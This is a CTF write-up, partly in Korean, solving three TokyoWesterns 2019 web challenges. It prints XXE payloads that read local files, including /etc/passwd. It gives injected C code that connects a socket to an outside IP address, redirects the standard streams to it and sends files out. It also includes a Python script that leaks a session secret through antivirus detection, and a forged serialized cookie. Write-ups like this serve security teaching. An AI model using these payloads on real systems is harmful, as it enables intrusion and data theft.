# TokyoWesterns CTF 2019
## j2x2j
This chall convert JSON to XML or XML to JSON.
when convert XML to JSON, it is vulnerable to XXE.
So, i can leak /etc/passwd or arbitrary file easily.
```xml
<?xml version="1.0"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
&xxe;
</root>
```
But, it is not working to leak php file with some error message "failed to decode xml".
I think it can not parse to php file.
(I don't know exactly how to parse this chall.)
So, i use php protocol for leak **flag.php**.
```xml
<?xml version="1.0"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]>
<root>
&xxe;
</root>
```
Finally, i got a flag.
**FLAG** : TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}
## Oneline Calc
This chall consists of two flag.
### FLAG1
flag1 is in `calc.php`.
It just support to simple calculation.
We can think it was operated by eval.
So, i try to eval injection.
But, it's not working.
After about 30 minutes, i recognize it is not php eval.
Actually it is C eval, therefore I guess how it works as "PHP->C->PHP".
But C is return uint_8 value, we can leak byte to byte.
In order to leak all data once, i try to socket programming.
it's careful because it have not macro or struct.
Here is my Query:
```c
mmap(0x60000000,1024,7,34,-1,0);
socket(2,1,0);
connect(3,"\x02\x00\x7a\x69\xc6\x0d\x33\xf4\x00\x00\x00\x00\x00\x00\x00\x00",16);
dup2(3,0);
dup2(3,1);
dup2(3,2);
fread(0x60000000,1,1024,fopen("/etc/passwd","r"));
write(3,0x60000000,1024);
```
But, we can't leak source because of permission.
Basically it have nobody permission.
It can't open source code at running time.
But during compile, it have www-data permission.
So i use this code and get flag.
This code is leak file during compile time as `file_start` variable.
Query :
```c
123; %>
__asm__(".globl file_start; file_start: .incbin \"/srv/olc/files/template.c\"");
extern char file_start[];
__attribute__((constructor)) void setup1() <%
socket(2,1,0);
connect(3,%22\x02\x00\x7a\x69\xc6\x0d\x33\xf4\x00\x00\x00\x00\x00\x00\x00\x00%22,16);
dup2(3,0);
dup2(3,1);
dup2(3,2);
write(3,file_start,0x1000);
%>;
void g()<% int res=1;
```
```php
<?php
// TWCTF{1nsecure_c0mpiling_with_C_78024f34fd92e04734533a7e174807da}
/*
Notification for flag2
- `/var/tmp` is the place for you to store some data where cannot be listed by others.
- execute `/readflag2` to get flag (/flag2).
*/
require __DIR__ . '/../vendor/autoload.php';
require 'sse.php';
ini_set('display_errors', 'On');
define('OCDIR', '/var/tmp/oc');
define('TEMPLATE_PATH', __DIR__ . '/../files/template.c');
define('RUNNER_PATH', __DIR__ . '/../files/run');
class Calc {
public function __construct($dir) {
$this->tmp = tempnam($dir, 'oc');
$this->src = $this->tmp . '.c';
$this->bin = $this->tmp . '.bin';
system("touch \"{$this->src}\" \"{$this->bin}\"");
system("chmod 0600 \"{$this->src}\" \"{$this->bin}\"");
}
private function template($formula) {
$template = file_get_contents(TEMPLATE_PATH);
if (!file_put_contents($this->src, str_replace('__FORMULA__', $formula, $template))) {
sse_err('failed to template');
}
}
private function compile() {
$proc = (new Ko\ProcessManager())->fork(function(Ko\Process $p) {
chdir("/var/tmp/oc");
putenv("PATH=/usr/bin");
pcntl_exec('/usr/bin/gcc', [$this->src, '-o', $this->bin, '-lseccomp', '-pipe']);
});
try {
$proc->waitReady();
sse_msg('parsing');
} finally {
$proc->wait();
}
return $proc->getExitCode() === 0;
}
private function execute() {
$proc = (new Ko\ProcessManager())->fork(function(Ko\Process $p) {
pcntl_exec(RUNNER_PATH, [$this->bin]);
});
try {
$proc->waitReady();
sse_msg('evaluating');
} finally {
$proc->wait();
}
return $proc->getExitCode();
}
public function eval($formula) {
$this->template($formula);
if(!$this->compile()) {
sse_err('failed to parse');
}
return $this->execute();
}
private function sanitize($s) {
$badchars = "\\\n\r\t ";
foreach(str_split($badchars) as $c) {
$s = str_replace($c, '', $s);
}
return $s;
}
private function escape($s) {
$s = str_replace('..', '', $s);
$badchars = '"`$';
foreach(str_split($badchars) as $c) {
$s = str_replace($c, '\\'.$c, $s);
}
return $s;
}
public function __destruct() {
$this->tmp = $this->sanitize($this->tmp);
$this->src = $this->sanitize($this->src);
$this->bin = $this->sanitize($this->bin);
$this->tmp = $this->escape($this->tmp);
$this->src = $this->escape($this->src);
$this->bin = $this->escape($this->bin);
system("rm \"{$this->tmp}\" \"{$this->src}\" \"{$this->bin}\"");
}
}
$formula = $_GET['formula'];
if (preg_match('/[\r\n\{\}#]/', $formula)) {
sse_err('invalid char found');
}
if (!file_exists(OCDIR)) {
mkdir(OCDIR);
}
$calc = new Calc(OCDIR);
sse_msg($calc->eval($formula));
sse_close();
```
**FLAG** : TWCTF{1nsecure_c0mpiling_with_C_78024f34fd92e04734533a7e174807da}
Extra:
Is this chall really web chall?
I dont understand it.
fucking seccomp.
```php
// file/templete.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>
__attribute__((constructor)) void setup() {
scmp_filter_ctx ctx;
if (NULL == (ctx = seccomp_init(SCMP_ACT_ALLOW))) {
exit(-1);
}
seccomp_arch_add(ctx, SCMP_ARCH_X86_64);
seccomp_arch_remove(ctx, SCMP_ARCH_X86);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(kill), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(tkill), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(tgkill), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(vfork), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(clone), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(alarm), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ptrace), 0);
if (seccomp_load(ctx) < 0) {
exit(-1);
}
}
int main() {
sleep(1);
int res = __FORMULA__;
return res;
}
```
### FLAG2
I'm groot.
I retire this.
## PHP Note
기본적으로 이 웹 페이지는 소스코드를 제공해준다.
URL : http://phpnote.chal.ctf.westerns.tokyo/?action=source
```php
class Note {
public function __construct($admin) {
$this->notes = array();
$this->isadmin = $admin;
}
...
public function getflag() {
if ($this->isadmin === true) {
echo FLAG;
}
}
}
...
if (is_login()) {
$realname = $_SESSION['realname'];
$nickname = $_SESSION['nickname'];
$note = @verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);
}
...
```
음.. 취약점은 unserialize가 확실한데, secret값이 필요하다.
### Secret Leak
근데 여기서 문제가 소스코드에 취약점이 존재하지 않는다.
서버 환경을 보면 어딘가가 이상한 점을 알 수 있다.
평소라면 `Linux + PHP` 환경일텐데, `IIS + PHP`라는 특이한 형태를 하고있다.
윈도우에서만 발생하는 취약점이라는 것을 알 수 있다.
그리하여 PHP Core파일을 분석해본 결과, 해당 소스코드에서 사용되는 코드는 취약점이 존재하지 않았다.
자 취약점이 없는 웹 문제를 풀어보자.
Windows에는 **Windows Defender**가 기본적으로 동작한다.
안티바이러스를 위한 도구는 보통 악성 스크립트를 탐지하고 이를 제거해준다.
보통 패턴매칭 또는 특정한 시그니쳐로 판별하는 경향이 있다.
또한 악성 스크립트라함은 바이너리일수도있지만, html일 수도 있다.
그래서 **Windows Defender**는 javascript를 eval하여 악성 스크립트인지 판단을 한다.
악성 스크립트라 판단되면 해당 파일을 제거한다.
소스코드에는 취약점이 없다.
서버도 취약점이 없다.
OS도 취약점이 없다.
하지만 특정한 파일에 원하는 내용을 넣을 수 있다면 **Windows Defender**를 이용해 파일을 지울 수 있다.
PHP 환경에서 우리가 쓸 수 있는 파일이 존재할 것이다.
누구다 다 알듯이 SESSION파일이다.
Login하는 부분을 보자.
```php
if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];
if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}
$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}
```
아름답다.
인자가 3개나 존재하는데, 딱 보면 알다시피 순서를 조정할 수 있다.
우리는 secret를 Leak할거니까 secret을 가운데 둬야 한다.
다들 다시겠지만 정렬은 다음과 같이 할 수 있다.
우선 login을 nickname없이 한번 수행하면 session은 realname과 secret값을 차례로 가지고 있을 것이다.
그 다음 nickname을 넣은 후 로그인하면 realname, secret, nickname 순으로 정렬된다.
자 이제 내용이 중요하다.
**Windows Defender**에 대해서는 다음과 같이 간단하게 설명할 수 있다.
우선 아래의 내용은 악성코드의 내용의 일부이며, 실제로 이를 탐지하였을 경우 삭제된다.
```
X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
```
당연히 저렇게 있으면 탐지될 것이다.
이제 몇개의 케이스르 보자.
```javascript
// detected
eval("X5O!P%%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*");
```
```javascript
// detected
eval("X5O!P%%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+"*");
```
```javascript
// when `what` is set, then dectected
// else, then not detected.
if(what)
eval("X5O!P%%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+"*".repeat(what));
```
여기까지 보면 각이 나온다.
**Windows Defender**는 javscript를 실행하므로 이를 이용하여 데이터를 한 글자씩 추출할 것이다.
사용할 코드의 형태는 다음과 같다.
```html
<!--
idx : 0~length, pivot : range of ascii.
-->
<script>
var q=document.body.innerHTML;
var n=q[idx].charCodeAt(0);
var a='X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H';
var mal = a+{pivot:'*'}[Math.min(pivot,n)];
eval(mal)
</script>
<body>
Leak DATA
</body>
```
이 코드를 보면 아까 왜 SESSION을 정렬했는지 알 수 있다.
realname과 nickname는 우리가 조작할 수 있는데, secret은 조작할 수 없으며, 우리가 추출할 값이다.
secret을 추출할 때 사용한 공격코드는 다음과 같다.
```python
import requests
url = "http://phpnote.chal.ctf.westerns.tokyo/?action=login"
query = lambda idx,pivot:'''<script>var q=document.body.innerHTML;var n=q[%d].charCodeAt(0);var a='X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H';var mal = a+{%d:'*'}[Math.min(%d,n)];eval(mal)</script><body>'''%(idx,pivot,pivot)
leak = ''
for idx in range(0,100):
l = 0
h = 256
while h-l > 1:
pivot = (l+h)/2
# print idx,l,h,pivot
data = {
"nickname":"",
"realname":query(idx,pivot)
}
# print query(idx,pivot)
headers = {
"Content-Type":"application/x-www-form-urlencoded",
}
cookies = {
"PHPSESSID":"fd515b47ed85a65c73cc5e7b7e404dd5"
}
s = requests.session()
# for align serialize variable order as `username | secret | nickname`.
r = s.post(url,data=data,headers=headers)
data = {
"nickname":"</body>shsh01",
"realname":query(idx,pivot)
}
# check whether or not antivirus detected query pattern.
# So, if it detected by antvirus, then you would be not login because your session was deleted by antivirus.
r = s.post(url,data=data,headers=headers)
if '/?action=login' in r.text:
l = pivot
else:
h = pivot
leak += chr(l)
print leak
```
위 코드를 실행하여 nickname이 `</body>shsh01`일때의 secret값을 얻었다.
```
bosycret|s:32:"8a18fedde2884cfe02a3b78eaf6fb477";nickname|s:13:"
```
Secret : 8a18fedde2884cfe02a3b78eaf6fb477
### Get FLAG
이제 이를 가지고 unserialize공격을 하면 플래그를 얻을 수 있다.
공격은 간단하게 Note Object에서 isadmin을 true로 바꿔주면 된다.
**note** : Tzo0OiJOb3RlIjoyOntzOjU6Im5vdGVzIjthOjE6e2k6MDthOjI6e2k6MDtzOjE6IjEiO2k6MTtzOjE6IjEiO319czo3OiJpc2FkbWluIjtiOjE7fQ==
**hmac** : bf9b5e1b36d1e62e43f605f408d36f09641fa9031dc18aeea57431c99e156acc
이를 넣고 `/?action=getflag`에 들어가면 플래그를 얻을 수 있다.
**FLAG** : TWCTF{h0pefully_I_haven't_made_a_m1stake_again}